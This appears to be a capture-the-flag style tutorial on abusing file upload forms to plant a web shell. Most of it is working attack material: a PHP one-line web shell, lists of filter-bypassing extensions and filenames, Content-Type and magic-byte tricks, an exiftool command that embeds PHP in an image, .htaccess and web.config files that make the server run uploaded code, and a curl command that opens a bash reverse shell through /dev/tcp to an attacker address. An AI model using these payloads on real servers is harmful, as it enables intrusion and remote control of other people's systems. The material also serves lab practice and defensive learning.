Malicious file upload: bypassing upload filters to get a web shell
Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
A form to upload a profile picture, a CV or an attachment is one of the most frequent ways in across the catalogue: more than 40 machines feature malicious file upload. The goal is always the same: get the server to store a file of yours in a folder served by the web, and then run it as code.
Before anything: three questions
- Which language does the server run? Look at the headers (
X-Powered-By,Server), page extensions and error messages. PHP, ASP.NET (.aspx) and Java (.jsp) are the usual ones. - Where does the file end up? Upload a normal image and look for its path: in the response, in your profile's HTML or by trying common folders (
/uploads/,/images/,/files/). If it does not show up, brute-force directories. - What does the filter check? The extension, the
Content-Type, the content, or all of them. You find out by changing one thing at a time in Burp Repeater.
A minimal web shell to test with:
<?php system($_GET['cmd']); ?>
curl 'http://target.htb/uploads/shell.php?cmd=id'
Bypassing the filters
By extension
If the filter is a blacklist (.php banned), try the extensions the server also runs:
| Language | Alternative extensions |
|---|---|
| PHP | .phtml, .php3, .php4, .php5, .php7, .pht, .phar, .phps, .pgif, .inc |
| ASP.NET | .aspx, .ashx, .asmx, .asp, .cer, .config |
| Java | .jsp, .jspx, .jsw, .jsv, .war (if you can deploy it) |
And the variants that confuse the filter but not the server:
shell.pHp # uppercase, if the comparison is case-sensitive
shell.php.jpg # double extension: a misconfigured Apache runs the first one
shell.jpg.php # the filter checks whether it contains ".jpg"
shell.php%00.jpg # null byte (old PHP, < 5.3.4)
shell.php. # trailing dot (Windows strips it when saving)
shell.php::$DATA # NTFS alternate data stream (IIS)
You can try them all at once with Intruder or with ffuf on the request saved from Burp.
By Content-Type
If the server only looks at the header the browser sends, change it:
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: image/png
By content (magic bytes)
If it checks that the file looks like an image (with getimagesize(), finfo or similar), put an image header in front of your code:
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
# or put the code into a real image's metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg -o shell.php.jpg
Tip
If the site reprocesses the image (resizes or recompresses it), the EXIF comment disappears. Some tools hide the code in parts that survive compression (for instance a PNG's palette or certain IDAT chunks), but look for another way first: it is usually easier.
Changing the server's rules
If you can upload configuration files into the upload folder:
# .htaccess (Apache): treat .xyz as PHP
AddType application/x-httpd-php .xyz
<!-- web.config (IIS): the file itself runs classic ASP -->
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" />
</handlers><security><requestFiltering><fileExtensions>
<remove fileExtension=".config" /></fileExtensions><hiddenSegments>
<remove segment="web.config" /></hiddenSegments></requestFiltering></security>
</system.webServer></configuration>
<%@ Language=VBScript %><% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c whoami").StdOut.ReadAll()) %>
The web.config trick is the way into Bounty.
When the upload does not run code
You will not always be able to upload executable code, but an upload nearly always gives you something:
- Chain it with an LFI: upload an "image" with PHP inside and include it from the LFI (
?page=../uploads/photo.jpg). - SVG with XXE or XSS: an
.svgis XML; if the server parses it, try an XXE; if it serves it to other users, an XSS. - Zip Slip: if it accepts a
.zipand extracts it, an entry named../../var/www/html/shell.phpcan write outside the folder. - Files that get processed: ImageMagick, ExifTool, LibreOffice or a PDF converter running on what you upload have their own CVEs. Check the version and look for a public CVE.
- Overwrite something: if you control the name and it is not sanitised,
../in thefilenamecan overwrite an application file or anauthorized_keys.
From web shell to shell
# listen on your box
nc -lvnp 4444
# fire the reverse shell through the web shell (URL-encoded)
curl 'http://target.htb/uploads/shell.phtml' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" -G
More payloads in reverse shells, and how to make the terminal usable in TTY. On Windows/IIS upload an .aspx (Kali ships one at /usr/share/webshells/aspx/cmdasp.aspx) and launch nc.exe or PowerShell from there.
Common errors
- The file uploads but returns 404: the site renames it (a hash or the date). Read the full response and the HTML; if it is a hash of the content or the name, compute it yourself.
- It downloads instead of running: that folder does not run PHP (an
.htaccesswithphp_flag engine off, or a static file server in front). Look for another writable path or use the LFI. system()returns nothing: the function is disabled (disable_functions). Trypassthru,shell_exec,proc_open, or readphpinfo()to see which ones are left.
What next
Once in as www-data or iis apppool, carry on with the post-exploitation checklist: on Linux, the sudo, SUID and capabilities guide; on Windows, SeImpersonate and Potatoes.